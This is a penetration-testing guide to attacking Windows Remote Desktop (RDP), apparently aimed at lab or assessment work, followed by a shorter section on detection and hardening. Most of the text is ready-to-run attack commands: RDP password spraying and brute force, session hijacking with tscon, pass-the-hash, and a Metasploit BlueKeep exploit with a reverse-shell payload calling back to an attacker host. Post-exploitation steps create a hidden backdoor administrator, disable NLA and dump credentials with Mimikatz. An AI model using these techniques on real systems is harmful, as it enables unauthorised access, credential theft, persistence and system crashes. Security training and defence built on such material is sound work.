RDP Service Attacks and Exploitation

RDP Service Attacks and Exploitation

RDP attack and exploitation techniques including password attacks, session hijacking, pass-the-hash, BlueKeep vulnerability, and RDPGateway exploitation.

Introduction

Remote Desktop Protocol (RDP) is Microsoft's proprietary protocol for providing graphical remote access to Windows systems over network connections. First released with Windows NT 4.0 Terminal Server Edition in 1996, RDP has become the primary method for remote Windows administration in enterprise environments.

RDP's widespread deployment and privileged nature make it a high-value target:

  • Common Windows presence: Often enabled on Windows servers and workstations for remote administration
  • Administrative access: Direct control with full user privileges
  • Internet exposure: Frequently accessible from external networks
  • Weak credentials: Often protected only by passwords
  • Protocol vulnerabilities: Critical flaws like BlueKeep (CVE-2019-0708)
  • Lateral movement: Ideal for pivoting across networks

Why RDP is a Critical Attack Surface

RDP is a frequently targeted service in enterprise security assessments:

  • Ransomware entry point: RDP compromise is a leading ransomware infection vector according to incident response reports
  • Brute-force target: RDP services face constant automated credential attacks
  • Credential stuffing: Leaked credentials are regularly tested against exposed RDP services
  • Zero-day exploits: BlueKeep demonstrated wormable RDP vulnerabilities
  • Cloud infrastructure: AWS and Azure instances may expose RDP if not properly configured
  • MSP infrastructure: Managed service providers often centralize RDP access

Internet-scanning services like Shodan consistently show millions of RDP services exposed to the Internet, representing a significant attack surface.

Technical Background

RDP Protocol Architecture

RDP operates on a multi-layered protocol stack:

Transport Layer:

  • Default port: TCP/3389
  • Can operate over UDP for performance (RDP 8.0+)
  • Supports SSL/TLS encryption (RDP 5.2+)

Security Layer:

  • Standard RDP Security (legacy)
  • TLS 1.0/1.1/1.2 (modern)
  • CredSSP (Credential Security Support Provider)
  • Network Level Authentication (NLA)

Presentation Layer:

  • RemoteFX for graphics optimization
  • Virtual channel support (clipboard, drives, printers)
  • Multiple monitor support

Application Layer:

  • Session management
  • Input/output redirection
  • Resource sharing

RDP Authentication Methods

MethodSecurity LevelDescription
RDP SecurityLowLegacy, vulnerable to MITM
TLSMediumSSL/TLS encryption without NLA
CredSSP (NLA)HighNetwork Level Authentication, requires auth before session
KerberosHighDomain-joined systems, ticket-based
Smart CardVery HighCertificate-based authentication

Network Level Authentication (NLA)

NLA requires authentication before establishing a full RDP session:

Benefits:

  • Prevents anonymous resource consumption
  • Reduces attack surface for pre-auth exploits
  • Protects against DoS attacks

Limitations:

  • Still vulnerable to credential attacks
  • Can be bypassed with valid credentials
  • Doesn't prevent post-authentication exploits

RDP Versions and Features

VersionWindows VersionKey Features
RDP 5.0Windows 2000Basic remote desktop
RDP 5.1Windows XP24-bit color, audio
RDP 5.2Windows 2003Console session access
RDP 6.0Windows VistaNetwork Access Protection
RDP 6.1Windows 7Terminal Services Gateway
RDP 7.0Windows 7 SP1RemoteFX graphics
RDP 8.0Windows 8UDP transport, multitouch
RDP 10Windows 10H.264/AVC encoding

Enumeration

Port Scanning and Service Detection

Basic RDP Detection

# Nmap service detection
nmap -p 3389 -sV 10.10.11.45

# Scan common RDP ports
nmap -p 3389,3388,3390-3400 10.10.11.45

# Scan subnet for RDP
nmap -p 3389 --open 10.10.11.0/24

# Fast scan with minimal output
nmap -p 3389 -T4 --open --min-rate 1000 10.10.11.0/24 -oG rdp_hosts.txt

Example Output:

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

RDP Certificate Information

# Extract RDP certificate
nmap -p 3389 --script rdp-enum-encryption 10.10.11.45
nmap -p 3389 --script ssl-cert 10.10.11.45

# Manual certificate grab with OpenSSL
openssl s_client -connect 10.10.11.45:3389 < /dev/null 2>&1 | openssl x509 -text

Information Revealed:

  • Hostname in certificate CN
  • Organization details
  • Domain information
  • Certificate validity dates

RDP Security Assessment

# Check encryption levels
nmap -p 3389 --script rdp-enum-encryption 10.10.11.45

# Check for NLA requirement
nmap -p 3389 --script rdp-ntlm-info 10.10.11.45

# Comprehensive RDP enumeration
nmap -p 3389 --script "rdp-* and not brute" 10.10.11.45

RDP Fingerprinting

# Using rdp-sec-check
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git
cd rdp-sec-check
./rdp-sec-check.pl 10.10.11.45

# Example output
Starting rdp-sec-check v0.9 ( http://labs.portcullis.co.uk/ ) at Thu Oct 31 10:00:00 2025

[+] Checking 10.10.11.45
[-] Failed to establish SSL connection - server likely requires NLA
[-] Old style encryption supported
[+] Summary: RDP Security Layer is enabled but not enforced

Exploitation Techniques

Password Attacks

Password Spraying

Password spraying avoids account lockouts by testing one password against many users:

# Using Crowbar (recommended for RDP)
crowbar -b rdp -s 10.10.11.45/32 -U users.txt -c 'Welcome2025!'

# Test single password across user list
crowbar -b rdp -s 10.10.11.45/32 -U users.txt -C passwords.txt -n 1

# Using Hydra (slower for RDP)
hydra -L users.txt -p 'Password123!' 10.10.11.45 rdp

# Reduce threads to avoid lockout
hydra -L users.txt -p 'Password123!' -t 1 -W 30 10.10.11.45 rdp

Effective Password Lists:

  • Season + Year: Welcome2025!, Spring2025!, Summer2024!
  • Company name variations: CompanyName2025!
  • Default passwords: Password123!, Admin@123, P@ssw0rd

Brute-Force Attack

# Hydra brute-force (use cautiously)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt 10.10.11.45 rdp

# With rate limiting
hydra -l admin -P passwords.txt -t 1 -w 60 10.10.11.45 rdp

# Multiple users, single password
hydra -L users.txt -p 'Password123!' 10.10.11.45 rdp

# Metasploit RDP login
msfconsole
msf6 > use auxiliary/scanner/rdp/rdp_scanner
msf6 auxiliary(scanner/rdp/rdp_scanner) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/rdp/rdp_scanner) > run

# Metasploit brute-force
msf6 > use auxiliary/scanner/rdp/rdp_login
msf6 auxiliary(scanner/rdp/rdp_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/rdp/rdp_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/rdp/rdp_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/rdp/rdp_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/rdp/rdp_login) > run

Connect with Valid Credentials

# Using xfreerdp (Linux)
xfreerdp /v:10.10.11.45 /u:administrator /p:'Password123!' /cert:ignore

# Full desktop experience
xfreerdp /v:10.10.11.45 /u:admin /p:'Password123!' /size:1920x1080 /cert:ignore +clipboard +drives

# Using rdesktop (legacy)
rdesktop -u administrator -p 'Password123!' 10.10.11.45

# Windows built-in client
mstsc /v:10.10.11.45

Account Lockout Considerations

Windows default account lockout policy:

  • Threshold: 5 failed attempts
  • Duration: 30 minutes
  • Reset: 30 minutes after last failed attempt

Password spraying strategy:

  1. Test 1-2 passwords per user
  2. Wait 31+ minutes between attempts
  3. Monitor for lockouts
  4. Use common passwords first (Welcome2025!, Password123!)

RDP Session Hijacking

When you have local administrator privileges, hijack other users' RDP sessions:

Enumerate Active Sessions

# Query logged-in users
query user

# Example output
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>admin                rdp-tcp#13          1  Active          7  10/31/2025 10:00 AM
 user1                rdp-tcp#14          2  Active          *  10/31/2025 10:15 AM
 user2                                     3  Disc            5  10/31/2025 09:45 AM

# Get detailed session info
qwinsta

Obtain SYSTEM Privileges

# Using PsExec
psexec.exe -s cmd.exe

# Create service to run as SYSTEM
sc.exe create sessionhijack binpath="cmd.exe /k tscon 2 /dest:rdp-tcp#13"

# Alternative: Use Mimikatz
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate

Hijack Target Session

# From SYSTEM context, hijack session
tscon 2 /dest:rdp-tcp#13

# Or start the service
net start sessionhijack

# Directly without password (requires SYSTEM)
tscon [TARGET_SESSION_ID] /dest:[YOUR_SESSION_NAME]

Result: A new window opens with the hijacked user's session, maintaining their privileges and access.

Server Version Limitations

Session hijacking limitations:

  • Works on Windows Server 2016 and earlier
  • Patched on Windows Server 2019+
  • Requires local administrator privileges
  • SYSTEM context needed for passwordless hijack

RDP Pass-the-Hash (PtH)

Authenticate with NTLM hash instead of plaintext password:

Enable Restricted Admin Mode

On target system (requires registry modification):

# Add registry key to enable Restricted Admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Verify setting
reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

Or remotely via WMI/PowerShell:

# PowerShell remote registry modification
Invoke-Command -ComputerName 10.10.11.45 -ScriptBlock {
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0
}

Pass-the-Hash with xfreerdp

# Using xfreerdp with /pth option
xfreerdp /v:10.10.11.45 /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /cert:ignore

# With domain
xfreerdp /v:10.10.11.45 /u:DOMAIN\\administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /cert:ignore

# Full command with options
xfreerdp /v:10.10.11.45 /u:admin /pth:8846f7eaee8fb117ad06bdd830b7586c /cert:ignore +clipboard /size:1920x1080

Verify Access

Once connected, verify you have the expected privileges:

whoami
whoami /priv
net user %username%

Requirements:

  • Valid NTLM hash for target user
  • Restricted Admin Mode enabled on target
  • User must have RDP access rights
  • Target must be Windows 8.1+ or Server 2012 R2+

BlueKeep Exploitation (CVE-2019-0708)

BlueKeep is a critical pre-authentication RCE vulnerability in RDP:

Check for BlueKeep Vulnerability

# Using Nmap
nmap -p 3389 --script rdp-vuln-ms12-020 10.10.11.45

# Using Metasploit scanner
msfconsole
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 10.10.11.0/24
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > run

# Manual check with rdpscan
git clone https://github.com/robertdavidgraham/rdpscan.git
cd rdpscan
make
./rdpscan 10.10.11.0/24

Vulnerable Versions:

  • Windows XP
  • Windows Vista
  • Windows 7
  • Windows Server 2003
  • Windows Server 2008 / 2008 R2

Exploit BlueKeep

# Using Metasploit (CAUTION: Can crash systems)
msfconsole
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 10.10.11.45
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set TARGET [appropriate target]
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LHOST 10.10.14.5
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LPORT 4444
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > check
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

BlueKeep Exploitation Warning

CRITICAL CONSIDERATIONS:

  • BlueKeep exploits frequently cause Blue Screen of Death (BSoD)
  • Can crash entire systems and disrupt operations
  • Wormable - can spread automatically across networks
  • Only use with explicit client authorization
  • Have incident response plan ready
  • Consider testing on isolated systems first

Over 950,000 systems were initially vulnerable, with approximately 250,000 still unpatched as of 2024.

Additional RDP Vulnerabilities

RDPGateway RCE (CVE-2020-0609, CVE-2020-0610)

# Check for vulnerability
nmap --script rdp-vuln-* -p 3389,3391 10.10.11.45

# Metasploit module
msf6 > use exploit/windows/rdp/cve_2020_0609_bluegate_rce

DejaBlue (CVE-2019-1181, CVE-2019-1182)

# Affects Remote Desktop Services on Windows 7, Server 2008 R2
msf6 > use exploit/windows/rdp/cve_2019_1182_rdp_rce

Post-Exploitation

Persistence via RDP

Create Backdoor User

# Create new user
net user backdoor P@ssw0rd123! /add

# Add to Administrators and Remote Desktop Users
net localgroup Administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# Hide from login screen
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

Enable RDP if Disabled

# Enable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Allow through firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Disable NLA for easier access
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Port Forwarding for Stealth

# Forward RDP to non-standard port
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=3389 connectaddress=127.0.0.1

# Add firewall rule
netsh advfirewall firewall add rule name="RDP Redirect" dir=in action=allow protocol=TCP localport=8888

Credential Harvesting

# Dump credentials with Mimikatz
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Extract RDP saved credentials
cmdkey /list
dir /s /b %userprofile%\*.rdp

# Parse .rdp files for servers
findstr /si "full address" %userprofile%\*.rdp

Lateral Movement

# Use RDP for pivoting
xfreerdp /v:internal-host.domain.local /u:admin /p:password /g:gateway.domain.com /gu:gateway-user /gp:gateway-pass

# Tunnel RDP through SSH
ssh -L 3389:internal-host:3389 user@jumpbox
xfreerdp /v:localhost /u:admin /p:password

# Chain RDP connections
xfreerdp /v:host1 /u:admin /p:pass
# From host1, RDP to host2
mstsc /v:host2

Detection and Defense

Monitoring RDP Activity

Event IDs to Monitor:

Event IDDescriptionImportance
4624Successful logon (Type 10 = RDP)Track all RDP logins
4625Failed logonDetect brute-force
4778Session reconnectedSession hijacking indicator
4779Session disconnectedTrack session activity
1149RDP-TCP connection successfulAuthentication success
21RDP Remote Desktop Services: Session logon succeededTrack RDP sessions
24RDP Remote Desktop Services: Session has been disconnectedMonitor disconnects

PowerShell Log Analysis:

# Failed RDP logins (Event 4625, Type 10)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} | Where-Object {$_.Properties[10].Value -eq 10} | Select-Object TimeCreated,Message

# Successful RDP logins
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} | Where-Object {$_.Properties[8].Value -eq 10}

# Detect brute-force patterns
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625;StartTime=(Get-Date).AddHours(-1)} | Group-Object {$_.Properties[19].Value} | Where-Object {$_.Count -gt 5}

Hardening RDP Configuration

Require Network Level Authentication

# Enable NLA (recommended)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f

# Via Group Policy
Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security
 Set "Require user authentication for remote connections by using Network Level Authentication" to Enabled

Implement Strong Encryption

# Require high encryption level
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t REG_DWORD /d 3 /f

# Values: 1=Low, 2=Client Compatible, 3=High, 4=FIPS Compliant

Disable RDP When Not Needed

# Disable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

# Block RDP in firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=No

Change Default Port

# Change RDP port (security through obscurity)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3390 /f

# Add firewall rule for new port
netsh advfirewall firewall add rule name="RDP Custom Port" dir=in action=allow protocol=TCP localport=3390

# Restart Terminal Services
net stop TermService && net start TermService

Implement Account Lockout

# Via Group Policy
Computer Configuration → Windows Settings → Security Settings → Account Policies → Account Lockout Policy
→ Account lockout threshold: 5 invalid logon attempts
→ Account lockout duration: 30 minutes
→ Reset account lockout counter after: 30 minutes

Restrict RDP Access

# Limit RDP to specific users/groups
net localgroup "Remote Desktop Users"

# Add only necessary users
net localgroup "Remote Desktop Users" admin /add

# Via Group Policy
Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
"Allow log on through Remote Desktop Services"

Additional Security Measures

Implement RD Gateway:

  • Centralized RDP access point
  • SSL/TLS encryption for all RDP traffic
  • Granular access control
  • Centralized logging

Multi-Factor Authentication:

  • Duo Security for RDP
  • Azure MFA integration
  • Smart card authentication
  • Biometric authentication

Network Segmentation:

# Firewall rule (allow RDP only from management network)
netsh advfirewall firewall add rule name="RDP Admin Network Only" dir=in action=allow protocol=TCP localport=3389 remoteip=10.10.10.0/24

Rate Limiting:

# Using Windows Firewall dynamic blocking
# Configure via Group Policy or third-party tools like RdpGuard, Syspeace

Patch Management

Critical RDP Patches:

  • MS12-020 (DoS vulnerability)
  • CVE-2019-0708 (BlueKeep)
  • CVE-2019-1181, CVE-2019-1182 (DejaBlue)
  • CVE-2020-0609, CVE-2020-0610 (RDPGateway)
  • CVE-2022-21893, CVE-2022-21894 (MSRPC runtime)
# Check Windows Update status
Get-WindowsUpdate

# Install updates
Install-WindowsUpdate -AcceptAll -AutoReboot

References

Last updated on